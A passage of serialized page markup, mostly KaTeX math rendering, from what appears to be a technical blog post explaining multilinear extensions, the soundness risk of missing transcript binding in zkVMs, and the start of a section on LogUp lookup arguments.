MLE is just the polynomial view of a table over ",{"type":23,"tag":56,"props":110829,"children":110831},{"className":110830},[2960,2961],[110832],{"type":23,"tag":504,"props":110833,"children":110835},{"className":110834},[2966],[110836],{"type":23,"tag":504,"props":110837,"children":110839},{"className":110838,"ariaHidden":2972},[2971],[110840],{"type":23,"tag":504,"props":110841,"children":110843},{"className":110842},[2977],[110844,110848,110853,110858,110863,110867,110872],{"type":23,"tag":504,"props":110845,"children":110847},{"className":110846,"style":3090},[2982],[],{"type":23,"tag":504,"props":110849,"children":110851},{"className":110850},[20698],[110852],{"type":28,"value":75369},{"type":23,"tag":504,"props":110854,"children":110856},{"className":110855},[2988],[110857],{"type":28,"value":3001},{"type":23,"tag":504,"props":110859,"children":110861},{"className":110860},[3101],[110862],{"type":28,"value":3104},{"type":23,"tag":504,"props":110864,"children":110866},{"className":110865,"style":3108},[3069],[],{"type":23,"tag":504,"props":110868,"children":110870},{"className":110869},[2988],[110871],{"type":28,"value":2991},{"type":23,"tag":504,"props":110873,"children":110875},{"className":110874},[20720],[110876,110881],{"type":23,"tag":504,"props":110877,"children":110879},{"className":110878},[20720],[110880],{"type":28,"value":1263},{"type":23,"tag":504,"props":110882,"children":110884},{"className":110883},[3005],[110885],{"type":23,"tag":504,"props":110886,"children":110888},{"className":110887},[3010],[110889],{"type":23,"tag":504,"props":110890,"children":110892},{"className":110891},[3015],[110893],{"type":23,"tag":504,"props":110894,"children":110896},{"className":110895,"style":107515},[3020],[110897],{"type":23,"tag":504,"props":110898,"children":110899},{"style":3024},[110900,110904],{"type":23,"tag":504,"props":110901,"children":110903},{"className":110902,"style":3030},[3029],[],{"type":23,"tag":504,"props":110905,"children":110907},{"className":110906},[3035,3036,3037,3038],[110908],{"type":23,"tag":504,"props":110909,"children":110911},{"className":110910},[2988,20569,3038],[110912],{"type":28,"value":55382},{"type":28,"value":110914},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":24,"props":110916,"children":110917},{},[110918],{"type":28,"value":110919},"For this post, the only property you need is:",{"type":23,"tag":24,"props":110921,"children":110922},{},[110923],{"type":23,"tag":56,"props":110924,"children":110926},{"className":110925},[2960,2961],[110927],{"type":23,"tag":504,"props":110928,"children":110930},{"className":110929},[2966],[110931],{"type":23,"tag":504,"props":110932,"children":110934},{"className":110933,"ariaHidden":2972},[2971],[110935,111097,111369],{"type":23,"tag":504,"props":110936,"children":110938},{"className":110937},[2977],[110939,110944,111013,111018,111079,111084,111088,111093],{"type":23,"tag":504,"props":110940,"children":110943},{"className":110941,"style":110942},[2982],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":504,"props":110945,"children":110948},{"className":110946},[2988,110947],"accent",[110949],{"type":23,"tag":504,"props":110950,"children":110952},{"className":110951},[3010,20623],[110953,111001],{"type":23,"tag":504,"props":110954,"children":110956},{"className":110955},[3015],[110957,110996],{"type":23,"tag":504,"props":110958,"children":110961},{"className":110959,"style":110960},[3020],"height:0.9313em;",[110962,110976],{"type":23,"tag":504,"props":110963,"children":110965},{"style":110964},"top:-3em;",[110966,110971],{"type":23,"tag":504,"props":110967,"children":110970},{"className":110968,"style":110969},[3029],"height:3em;",[],{"type":23,"tag":504,"props":110972,"children":110974},{"className":110973,"style":94152},[2988,20569],[110975],{"type":28,"value":32062},{"type":23,"tag":504,"props":110977,"children":110979},{"style":110978},"top:-3.6134em;",[110980,110984],{"type":23,"tag":504,"props":110981,"children":110983},{"className":110982,"style":110969},[3029],[],{"type":23,"tag":504,"props":110985,"children":110989},{"className":110986,"style":110988},[110987],"accent-body","left:-0.0833em;",[110990],{"type":23,"tag":504,"props":110991,"children":110993},{"className":110992},[2988],[110994],{"type":28,"value":110995},"~",{"type":23,"tag":504,"props":110997,"children":110999},{"className":110998},[20726],[111000],{"type":28,"value":20729},{"type":23,"tag":504,"props":111002,"children":111004},{"className":111003},[3015],[111005],{"type":23,"tag":504,"props":111006,"children":111009},{"className":111007,"style":111008},[3020],"height:0.1944em;",[111010],{"type":23,"tag":504,"props":111011,"children":111012},{},[],{"type":23,"tag":504,"props":111014,"children":111016},{"className":111015},[20698],[111017],{"type":28,"value":526},{"type":23,"tag":504,"props":111019,"children":111021},{"className":111020},[2988,110947],[111022],{"type":23,"tag":504,"props":111023,"children":111025},{"className":111024},[3010],[111026],{"type":23,"tag":504,"props":111027,"children":111029},{"className":111028},[3015],[111030],{"type":23,"tag":504,"props":111031,"children":111034},{"className":111032,"style":111033},[3020],"height:0.714em;",[111035,111047],{"type":23,"tag":504,"props":111036,"children":111037},{"style":110964},[111038,111042],{"type":23,"tag":504,"props":111039,"children":111041},{"className":111040,"style":110969},[3029],[],{"type":23,"tag":504,"props":111043,"children":111045},{"className":111044,"style":91798},[2988,20569],[111046],{"type":28,"value":92617},{"type":23,"tag":504,"props":111048,"children":111049},{"style":110964},[111050,111054],{"type":23,"tag":504,"props":111051,"children":111053},{"className":111052,"style":110969},[3029],[],{"type":23,"tag":504,"props":111055,"children":111058},{"className":111056,"style":111057},[110987],"left:-0.1799em;",[111059],{"type":23,"tag":504,"props":111060,"children":111064},{"className":111061,"style":111063},[111062],"overlay","height:0.714em;width:0.471em;",[111065],{"type":23,"tag":33249,"props":111066,"children":111073},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[111074],{"type":23,"tag":111075,"props":111076,"children":111078},"path",{"d":111077},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":504,"props":111080,"children":111082},{"className":111081},[20720],[111083],{"type":28,"value":2105},{"type":23,"tag":504,"props":111085,"children":111087},{"className":111086,"style":3167},[3069],[],{"type":23,"tag":504,"props":111089,"children":111091},{"className":111090},[3172],[111092],{"type":28,"value":601},{"type":23,"tag":504,"props":111094,"children":111096},{"className":111095,"style":3167},[3069],[],{"type":23,"tag":504,"props":111098,"children":111100},{"className":111099},[2977],[111101,111106,111287,111291,111296,111301,111351,111356,111360,111365],{"type":23,"tag":504,"props":111102,"children":111105},{"className":111103,"style":111104},[2982],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":504,"props":111107,"children":111109},{"className":111108},[20605],[111110,111115],{"type":23,"tag":504,"props":111111,"children":111113},{"className":111112,"style":20612},[20605,20610,20611],[111114],{"type":28,"value":107593},{"type":23,"tag":504,"props":111116,"children":111118},{"className":111117},[3005],[111119],{"type":23,"tag":504,"props":111120,"children":111122},{"className":111121},[3010,20623],[111123,111275],{"type":23,"tag":504,"props":111124,"children":111126},{"className":111125},[3015],[111127,111270],{"type":23,"tag":504,"props":111128,"children":111131},{"className":111129,"style":111130},[3020],"height:0.3448em;",[111132],{"type":23,"tag":504,"props":111133,"children":111135},{"style":111134},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[111136,111140],{"type":23,"tag":504,"props":111137,"children":111139},{"className":111138,"style":3030},[3029],[],{"type":23,"tag":504,"props":111141,"children":111143},{"className":111142},[3035,3036,3037,3038],[111144],{"type":23,"tag":504,"props":111145,"children":111147},{"className":111146},[2988,3038],[111148,111202,111207,111212,111217,111222,111227],{"type":23,"tag":504,"props":111149,"children":111151},{"className":111150},[2988,110947,3038],[111152],{"type":23,"tag":504,"props":111153,"children":111155},{"className":111154},[3010],[111156],{"type":23,"tag":504,"props":111157,"children":111159},{"className":111158},[3015],[111160],{"type":23,"tag":504,"props":111161,"children":111164},{"className":111162,"style":111163},[3020],"height:0.9774em;",[111165,111179],{"type":23,"tag":504,"props":111166,"children":111168},{"style":111167},"top:-2.714em;",[111169,111174],{"type":23,"tag":504,"props":111170,"children":111173},{"className":111171,"style":111172},[3029],"height:2.714em;",[],{"type":23,"tag":504,"props":111175,"children":111177},{"className":111176},[2988,20569,3038],[111178],{"type":28,"value":2200},{"type":23,"tag":504,"props":111180,"children":111182},{"style":111181},"top:-2.9774em;",[111183,111187],{"type":23,"tag":504,"props":111184,"children":111186},{"className":111185,"style":111172},[3029],[],{"type":23,"tag":504,"props":111188,"children":111191},{"className":111189,"style":111190},[110987],"left:-0.2355em;",[111192],{"type":23,"tag":504,"props":111193,"children":111195},{"className":111194,"style":111063},[111062,3038],[111196],{"type":23,"tag":33249,"props":111197,"children":111198},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111199],{"type":23,"tag":111075,"props":111200,"children":111201},{"d":111077},[],{"type":23,"tag":504,"props":111203,"children":111205},{"className":111204},[3172,3038],[111206],{"type":28,"value":20676},{"type":23,"tag":504,"props":111208,"children":111210},{"className":111209},[20698,3038],[111211],{"type":28,"value":75369},{"type":23,"tag":504,"props":111213,"children":111215},{"className":111214},[2988,3038],[111216],{"type":28,"value":3001},{"type":23,"tag":504,"props":111218,"children":111220},{"className":111219},[3101,3038],[111221],{"type":28,"value":3104},{"type":23,"tag":504,"props":111223,"children":111225},{"className":111224},[2988,3038],[111226],{"type":28,"value":2991},{"type":23,"tag":504,"props":111228,"children":111230},{"className":111229},[20720,3038],[111231,111236],{"type":23,"tag":504,"props":111232,"children":111234},{"className":111233},[20720,3038],[111235],{"type":28,"value":1263},{"type":23,"tag":504,"props":111237,"children":111239},{"className":111238},[3005],[111240],{"type":23,"tag":504,"props":111241,"children":111243},{"className":111242},[3010],[111244],{"type":23,"tag":504,"props":111245,"children":111247},{"className":111246},[3015],[111248],{"type":23,"tag":504,"props":111249,"children":111252},{"className":111250,"style":111251},[3020],"height:0.5935em;",[111253],{"type":23,"tag":504,"props":111254,"children":111256},{"style":111255},"top:-2.786em;margin-right:0.0714em;",[111257,111261],{"type":23,"tag":504,"props":111258,"children":111260},{"className":111259,"style":107658},[3029],[],{"type":23,"tag":504,"props":111262,"children":111264},{"className":111263},[3035,107663,107664,3038],[111265],{"type":23,"tag":504,"props":111266,"children":111268},{"className":111267},[2988,20569,3038],[111269],{"type":28,"value":55382},{"type":23,"tag":504,"props":111271,"children":111273},{"className":111272},[20726],[111274],{"type":28,"value":20729},{"type":23,"tag":504,"props":111276,"children":111278},{"className":111277},[3015],[111279],{"type":23,"tag":504,"props":111280,"children":111283},{"className":111281,"style":111282},[3020],"height:0.5144em;",[111284],{"type":23,"tag":504,"props":111285,"children":111286},{},[],{"type":23,"tag":504,"props":111288,"children":111290},{"className":111289,"style":3108},[3069],[],{"type":23,"tag":504,"props":111292,"children":111294},{"className":111293,"style":94152},[2988,20569],[111295],{"type":28,"value":32062},{"type":23,"tag":504,"props":111297,"children":111299},{"className":111298},[20698],[111300],{"type":28,"value":526},{"type":23,"tag":504,"props":111302,"children":111304},{"className":111303},[2988,110947],[111305],{"type":23,"tag":504,"props":111306,"children":111308},{"className":111307},[3010],[111309],{"type":23,"tag":504,"props":111310,"children":111312},{"className":111311},[3015],[111313],{"type":23,"tag":504,"props":111314,"children":111316},{"className":111315,"style":111163},[3020],[111317,111329],{"type":23,"tag":504,"props":111318,"children":111319},{"style":110964},[111320,111324],{"type":23,"tag":504,"props":111321,"children":111323},{"className":111322,"style":110969},[3029],[],{"type":23,"tag":504,"props":111325,"children":111327},{"className":111326},[2988,20569],[111328],{"type":28,"value":2200},{"type":23,"tag":504,"props":111330,"children":111332},{"style":111331},"top:-3.2634em;",[111333,111337],{"type":23,"tag":504,"props":111334,"children":111336},{"className":111335,"style":110969},[3029],[],{"type":23,"tag":504,"props":111338,"children":111340},{"className":111339,"style":111190},[110987],[111341],{"type":23,"tag":504,"props":111342,"children":111344},{"className":111343,"style":111063},[111062],[111345],{"type":23,"tag":33249,"props":111346,"children":111347},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111348],{"type":23,"tag":111075,"props":111349,"children":111350},{"d":111077},[],{"type":23,"tag":504,"props":111352,"children":111354},{"className":111353},[20720],[111355],{"type":28,"value":2105},{"type":23,"tag":504,"props":111357,"children":111359},{"className":111358,"style":3070},[3069],[],{"type":23,"tag":504,"props":111361,"children":111363},{"className":111362},[3075],[111364],{"type":28,"value":110060},{"type":23,"tag":504,"props":111366,"children":111368},{"className":111367,"style":3070},[3069],[],{"type":23,"tag":504,"props":111370,"children":111372},{"className":111371},[2977],[111373,111378,111388,111393,111442,111447,111451,111500],{"type":23,"tag":504,"props":111374,"children":111377},{"className":111375,"style":111376},[2982],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":504,"props":111379,"children":111381},{"className":111380},[2988,28],[111382],{"type":23,"tag":504,"props":111383,"children":111385},{"className":111384},[2988],[111386],{"type":28,"value":111387},"eq",{"type":23,"tag":504,"props":111389,"children":111391},{"className":111390},[20698],[111392],{"type":28,"value":526},{"type":23,"tag":504,"props":111394,"children":111396},{"className":111395},[2988,110947],[111397],{"type":23,"tag":504,"props":111398,"children":111400},{"className":111399},[3010],[111401],{"type":23,"tag":504,"props":111402,"children":111404},{"className":111403},[3015],[111405],{"type":23,"tag":504,"props":111406,"children":111408},{"className":111407,"style":111163},[3020],[111409,111421],{"type":23,"tag":504,"props":111410,"children":111411},{"style":110964},[111412,111416],{"type":23,"tag":504,"props":111413,"children":111415},{"className":111414,"style":110969},[3029],[],{"type":23,"tag":504,"props":111417,"children":111419},{"className":111418},[2988,20569],[111420],{"type":28,"value":2200},{"type":23,"tag":504,"props":111422,"children":111423},{"style":111331},[111424,111428],{"type":23,"tag":504,"props":111425,"children":111427},{"className":111426,"style":110969},[3029],[],{"type":23,"tag":504,"props":111429,"children":111431},{"className":111430,"style":111190},[110987],[111432],{"type":23,"tag":504,"props":111433,"children":111435},{"className":111434,"style":111063},[111062],[111436],{"type":23,"tag":33249,"props":111437,"children":111438},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111439],{"type":23,"tag":111075,"props":111440,"children":111441},{"d":111077},[],{"type":23,"tag":504,"props":111443,"children":111445},{"className":111444},[3101],[111446],{"type":28,"value":3104},{"type":23,"tag":504,"props":111448,"children":111450},{"className":111449,"style":3108},[3069],[],{"type":23,"tag":504,"props":111452,"children":111454},{"className":111453},[2988,110947],[111455],{"type":23,"tag":504,"props":111456,"children":111458},{"className":111457},[3010],[111459],{"type":23,"tag":504,"props":111460,"children":111462},{"className":111461},[3015],[111463],{"type":23,"tag":504,"props":111464,"children":111466},{"className":111465,"style":111033},[3020],[111467,111479],{"type":23,"tag":504,"props":111468,"children":111469},{"style":110964},[111470,111474],{"type":23,"tag":504,"props":111471,"children":111473},{"className":111472,"style":110969},[3029],[],{"type":23,"tag":504,"props":111475,"children":111477},{"className":111476,"style":91798},[2988,20569],[111478],{"type":28,"value":92617},{"type":23,"tag":504,"props":111480,"children":111481},{"style":110964},[111482,111486],{"type":23,"tag":504,"props":111483,"children":111485},{"className":111484,"style":110969},[3029],[],{"type":23,"tag":504,"props":111487,"children":111489},{"className":111488,"style":111057},[110987],[111490],{"type":23,"tag":504,"props":111491,"children":111493},{"className":111492,"style":111063},[111062],[111494],{"type":23,"tag":33249,"props":111495,"children":111496},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111497],{"type":23,"tag":111075,"props":111498,"children":111499},{"d":111077},[],{"type":23,"tag":504,"props":111501,"children":111503},{"className":111502},[20720],[111504],{"type":28,"value":2105},{"type":23,"tag":24,"props":111506,"children":111507},{},[111508,111510,111579,111581,111727,111729,111868,111870,111954],{"type":28,"value":111509},"At a fixed challenge point ",{"type":23,"tag":56,"props":111511,"children":111513},{"className":111512},[2960,2961],[111514],{"type":23,"tag":504,"props":111515,"children":111517},{"className":111516},[2966],[111518],{"type":23,"tag":504,"props":111519,"children":111521},{"className":111520,"ariaHidden":2972},[2971],[111522],{"type":23,"tag":504,"props":111523,"children":111525},{"className":111524},[2977],[111526,111530],{"type":23,"tag":504,"props":111527,"children":111529},{"className":111528,"style":111033},[2982],[],{"type":23,"tag":504,"props":111531,"children":111533},{"className":111532},[2988,110947],[111534],{"type":23,"tag":504,"props":111535,"children":111537},{"className":111536},[3010],[111538],{"type":23,"tag":504,"props":111539,"children":111541},{"className":111540},[3015],[111542],{"type":23,"tag":504,"props":111543,"children":111545},{"className":111544,"style":111033},[3020],[111546,111558],{"type":23,"tag":504,"props":111547,"children":111548},{"style":110964},[111549,111553],{"type":23,"tag":504,"props":111550,"children":111552},{"className":111551,"style":110969},[3029],[],{"type":23,"tag":504,"props":111554,"children":111556},{"className":111555,"style":91798},[2988,20569],[111557],{"type":28,"value":92617},{"type":23,"tag":504,"props":111559,"children":111560},{"style":110964},[111561,111565],{"type":23,"tag":504,"props":111562,"children":111564},{"className":111563,"style":110969},[3029],[],{"type":23,"tag":504,"props":111566,"children":111568},{"className":111567,"style":111057},[110987],[111569],{"type":23,"tag":504,"props":111570,"children":111572},{"className":111571,"style":111063},[111062],[111573],{"type":23,"tag":33249,"props":111574,"children":111575},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111576],{"type":23,"tag":111075,"props":111577,"children":111578},{"d":111077},[],{"type":28,"value":111580},", the coefficients ",{"type":23,"tag":56,"props":111582,"children":111584},{"className":111583},[2960,2961],[111585],{"type":23,"tag":504,"props":111586,"children":111588},{"className":111587},[2966],[111589],{"type":23,"tag":504,"props":111590,"children":111592},{"className":111591,"ariaHidden":2972},[2971],[111593],{"type":23,"tag":504,"props":111594,"children":111596},{"className":111595},[2977],[111597,111601,111610,111615,111664,111669,111673,111722],{"type":23,"tag":504,"props":111598,"children":111600},{"className":111599,"style":111376},[2982],[],{"type":23,"tag":504,"props":111602,"children":111604},{"className":111603},[2988,28],[111605],{"type":23,"tag":504,"props":111606,"children":111608},{"className":111607},[2988],[111609],{"type":28,"value":111387},{"type":23,"tag":504,"props":111611,"children":111613},{"className":111612},[20698],[111614],{"type":28,"value":526},{"type":23,"tag":504,"props":111616,"children":111618},{"className":111617},[2988,110947],[111619],{"type":23,"tag":504,"props":111620,"children":111622},{"className":111621},[3010],[111623],{"type":23,"tag":504,"props":111624,"children":111626},{"className":111625},[3015],[111627],{"type":23,"tag":504,"props":111628,"children":111630},{"className":111629,"style":111163},[3020],[111631,111643],{"type":23,"tag":504,"props":111632,"children":111633},{"style":110964},[111634,111638],{"type":23,"tag":504,"props":111635,"children":111637},{"className":111636,"style":110969},[3029],[],{"type":23,"tag":504,"props":111639,"children":111641},{"className":111640},[2988,20569],[111642],{"type":28,"value":2200},{"type":23,"tag":504,"props":111644,"children":111645},{"style":111331},[111646,111650],{"type":23,"tag":504,"props":111647,"children":111649},{"className":111648,"style":110969},[3029],[],{"type":23,"tag":504,"props":111651,"children":111653},{"className":111652,"style":111190},[110987],[111654],{"type":23,"tag":504,"props":111655,"children":111657},{"className":111656,"style":111063},[111062],[111658],{"type":23,"tag":33249,"props":111659,"children":111660},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111661],{"type":23,"tag":111075,"props":111662,"children":111663},{"d":111077},[],{"type":23,"tag":504,"props":111665,"children":111667},{"className":111666},[3101],[111668],{"type":28,"value":3104},{"type":23,"tag":504,"props":111670,"children":111672},{"className":111671,"style":3108},[3069],[],{"type":23,"tag":504,"props":111674,"children":111676},{"className":111675},[2988,110947],[111677],{"type":23,"tag":504,"props":111678,"children":111680},{"className":111679},[3010],[111681],{"type":23,"tag":504,"props":111682,"children":111684},{"className":111683},[3015],[111685],{"type":23,"tag":504,"props":111686,"children":111688},{"className":111687,"style":111033},[3020],[111689,111701],{"type":23,"tag":504,"props":111690,"children":111691},{"style":110964},[111692,111696],{"type":23,"tag":504,"props":111693,"children":111695},{"className":111694,"style":110969},[3029],[],{"type":23,"tag":504,"props":111697,"children":111699},{"className":111698,"style":91798},[2988,20569],[111700],{"type":28,"value":92617},{"type":23,"tag":504,"props":111702,"children":111703},{"style":110964},[111704,111708],{"type":23,"tag":504,"props":111705,"children":111707},{"className":111706,"style":110969},[3029],[],{"type":23,"tag":504,"props":111709,"children":111711},{"className":111710,"style":111057},[110987],[111712],{"type":23,"tag":504,"props":111713,"children":111715},{"className":111714,"style":111063},[111062],[111716],{"type":23,"tag":33249,"props":111717,"children":111718},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111719],{"type":23,"tag":111075,"props":111720,"children":111721},{"d":111077},[],{"type":23,"tag":504,"props":111723,"children":111725},{"className":111724},[20720],[111726],{"type":28,"value":2105},{"type":28,"value":111728}," are constants, so ",{"type":23,"tag":56,"props":111730,"children":111732},{"className":111731},[2960,2961],[111733],{"type":23,"tag":504,"props":111734,"children":111736},{"className":111735},[2966],[111737],{"type":23,"tag":504,"props":111738,"children":111740},{"className":111739,"ariaHidden":2972},[2971],[111741],{"type":23,"tag":504,"props":111742,"children":111744},{"className":111743},[2977],[111745,111749,111809,111814,111863],{"type":23,"tag":504,"props":111746,"children":111748},{"className":111747,"style":110942},[2982],[],{"type":23,"tag":504,"props":111750,"children":111752},{"className":111751},[2988,110947],[111753],{"type":23,"tag":504,"props":111754,"children":111756},{"className":111755},[3010,20623],[111757,111798],{"type":23,"tag":504,"props":111758,"children":111760},{"className":111759},[3015],[111761,111793],{"type":23,"tag":504,"props":111762,"children":111764},{"className":111763,"style":110960},[3020],[111765,111777],{"type":23,"tag":504,"props":111766,"children":111767},{"style":110964},[111768,111772],{"type":23,"tag":504,"props":111769,"children":111771},{"className":111770,"style":110969},[3029],[],{"type":23,"tag":504,"props":111773,"children":111775},{"className":111774,"style":94152},[2988,20569],[111776],{"type":28,"value":32062},{"type":23,"tag":504,"props":111778,"children":111779},{"style":110978},[111780,111784],{"type":23,"tag":504,"props":111781,"children":111783},{"className":111782,"style":110969},[3029],[],{"type":23,"tag":504,"props":111785,"children":111787},{"className":111786,"style":110988},[110987],[111788],{"type":23,"tag":504,"props":111789,"children":111791},{"className":111790},[2988],[111792],{"type":28,"value":110995},{"type":23,"tag":504,"props":111794,"children":111796},{"className":111795},[20726],[111797],{"type":28,"value":20729},{"type":23,"tag":504,"props":111799,"children":111801},{"className":111800},[3015],[111802],{"type":23,"tag":504,"props":111803,"children":111805},{"className":111804,"style":111008},[3020],[111806],{"type":23,"tag":504,"props":111807,"children":111808},{},[],{"type":23,"tag":504,"props":111810,"children":111812},{"className":111811},[20698],[111813],{"type":28,"value":526},{"type":23,"tag":504,"props":111815,"children":111817},{"className":111816},[2988,110947],[111818],{"type":23,"tag":504,"props":111819,"children":111821},{"className":111820},[3010],[111822],{"type":23,"tag":504,"props":111823,"children":111825},{"className":111824},[3015],[111826],{"type":23,"tag":504,"props":111827,"children":111829},{"className":111828,"style":111033},[3020],[111830,111842],{"type":23,"tag":504,"props":111831,"children":111832},{"style":110964},[111833,111837],{"type":23,"tag":504,"props":111834,"children":111836},{"className":111835,"style":110969},[3029],[],{"type":23,"tag":504,"props":111838,"children":111840},{"className":111839,"style":91798},[2988,20569],[111841],{"type":28,"value":92617},{"type":23,"tag":504,"props":111843,"children":111844},{"style":110964},[111845,111849],{"type":23,"tag":504,"props":111846,"children":111848},{"className":111847,"style":110969},[3029],[],{"type":23,"tag":504,"props":111850,"children":111852},{"className":111851,"style":111057},[110987],[111853],{"type":23,"tag":504,"props":111854,"children":111856},{"className":111855,"style":111063},[111062],[111857],{"type":23,"tag":33249,"props":111858,"children":111859},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111860],{"type":23,"tag":111075,"props":111861,"children":111862},{"d":111077},[],{"type":23,"tag":504,"props":111864,"children":111866},{"className":111865},[20720],[111867],{"type":28,"value":2105},{"type":28,"value":111869}," is linear in the table values ",{"type":23,"tag":56,"props":111871,"children":111873},{"className":111872},[2960,2961],[111874],{"type":23,"tag":504,"props":111875,"children":111877},{"className":111876},[2966],[111878],{"type":23,"tag":504,"props":111879,"children":111881},{"className":111880,"ariaHidden":2972},[2971],[111882],{"type":23,"tag":504,"props":111883,"children":111885},{"className":111884},[2977],[111886,111890,111895,111900,111949],{"type":23,"tag":504,"props":111887,"children":111889},{"className":111888,"style":111376},[2982],[],{"type":23,"tag":504,"props":111891,"children":111893},{"className":111892,"style":94152},[2988,20569],[111894],{"type":28,"value":32062},{"type":23,"tag":504,"props":111896,"children":111898},{"className":111897},[20698],[111899],{"type":28,"value":526},{"type":23,"tag":504,"props":111901,"children":111903},{"className":111902},[2988,110947],[111904],{"type":23,"tag":504,"props":111905,"children":111907},{"className":111906},[3010],[111908],{"type":23,"tag":504,"props":111909,"children":111911},{"className":111910},[3015],[111912],{"type":23,"tag":504,"props":111913,"children":111915},{"className":111914,"style":111163},[3020],[111916,111928],{"type":23,"tag":504,"props":111917,"children":111918},{"style":110964},[111919,111923],{"type":23,"tag":504,"props":111920,"children":111922},{"className":111921,"style":110969},[3029],[],{"type":23,"tag":504,"props":111924,"children":111926},{"className":111925},[2988,20569],[111927],{"type":28,"value":2200},{"type":23,"tag":504,"props":111929,"children":111930},{"style":111331},[111931,111935],{"type":23,"tag":504,"props":111932,"children":111934},{"className":111933,"style":110969},[3029],[],{"type":23,"tag":504,"props":111936,"children":111938},{"className":111937,"style":111190},[110987],[111939],{"type":23,"tag":504,"props":111940,"children":111942},{"className":111941,"style":111063},[111062],[111943],{"type":23,"tag":33249,"props":111944,"children":111945},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[111946],{"type":23,"tag":111075,"props":111947,"children":111948},{"d":111077},[],{"type":23,"tag":504,"props":111950,"children":111952},{"className":111951},[20720],[111953],{"type":28,"value":2105},{"type":28,"value":320},{"type":23,"tag":24,"props":111956,"children":111957},{},[111958,111960,112029],{"type":28,"value":111959},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":56,"props":111961,"children":111963},{"className":111962},[2960,2961],[111964],{"type":23,"tag":504,"props":111965,"children":111967},{"className":111966},[2966],[111968],{"type":23,"tag":504,"props":111969,"children":111971},{"className":111970,"ariaHidden":2972},[2971],[111972],{"type":23,"tag":504,"props":111973,"children":111975},{"className":111974},[2977],[111976,111980],{"type":23,"tag":504,"props":111977,"children":111979},{"className":111978,"style":111033},[2982],[],{"type":23,"tag":504,"props":111981,"children":111983},{"className":111982},[2988,110947],[111984],{"type":23,"tag":504,"props":111985,"children":111987},{"className":111986},[3010],[111988],{"type":23,"tag":504,"props":111989,"children":111991},{"className":111990},[3015],[111992],{"type":23,"tag":504,"props":111993,"children":111995},{"className":111994,"style":111033},[3020],[111996,112008],{"type":23,"tag":504,"props":111997,"children":111998},{"style":110964},[111999,112003],{"type":23,"tag":504,"props":112000,"children":112002},{"className":112001,"style":110969},[3029],[],{"type":23,"tag":504,"props":112004,"children":112006},{"className":112005,"style":91798},[2988,20569],[112007],{"type":28,"value":92617},{"type":23,"tag":504,"props":112009,"children":112010},{"style":110964},[112011,112015],{"type":23,"tag":504,"props":112012,"children":112014},{"className":112013,"style":110969},[3029],[],{"type":23,"tag":504,"props":112016,"children":112018},{"className":112017,"style":111057},[110987],[112019],{"type":23,"tag":504,"props":112020,"children":112022},{"className":112021,"style":111063},[111062],[112023],{"type":23,"tag":33249,"props":112024,"children":112025},{"xmlns":111067,"width":111068,"height":111069,"style":111070,"viewBox":111071,"preserveAspectRatio":111072},[112026],{"type":23,"tag":111075,"props":112027,"children":112028},{"d":111077},[],{"type":28,"value":112030}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":82,"props":112032,"children":112034},{"id":112033},"lookup-arguments-logup",[112035],{"type":28,"value":112036},"Lookup Arguments (LogUp)",{"type":23,"tag":24,"props":112038,"children":112039},{},[112040],{"type":28,"value":112041},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":350,"props":112043,"children":112044},{},[112045,112101,112106],{"type":23,"tag":45,"props":112046,"children":112047},{},[112048,112050,112100],{"type":28,"value":112049},"Is this byte in range ",{"type":23,"tag":56,"props":112051,"children":112053},{"className":112052},[2960,2961],[112054],{"type":23,"tag":504,"props":112055,"children":112057},{"className":112056},[2966],[112058],{"type":23,"tag":504,"props":112059,"children":112061},{"className":112060,"ariaHidden":2972},[2971],[112062],{"type":23,"tag":504,"props":112063,"children":112065},{"className":112064},[2977],[112066,112070,112075,112080,112085,112089,112095],{"type":23,"tag":504,"props":112067,"children":112069},{"className":112068,"style":3090},[2982],[],{"type":23,"tag":504,"props":112071,"children":112073},{"className":112072},[20698],[112074],{"type":28,"value":2711},{"type":23,"tag":504,"props":112076,"children":112078},{"className":112077},[2988],[112079],{"type":28,"value":3001},{"type":23,"tag":504,"props":112081,"children":112083},{"className":112082},[3101],[112084],{"type":28,"value":3104},{"type":23,"tag":504,"props":112086,"children":112088},{"className":112087,"style":3108},[3069],[],{"type":23,"tag":504,"props":112090,"children":112092},{"className":112091},[2988],[112093],{"type":28,"value":112094},"255",{"type":23,"tag":504,"props":112096,"children":112098},{"className":112097},[20720],[112099],{"type":28,"value":14391},{"type":28,"value":2133},{"type":23,"tag":45,"props":112102,"children":112103},{},[112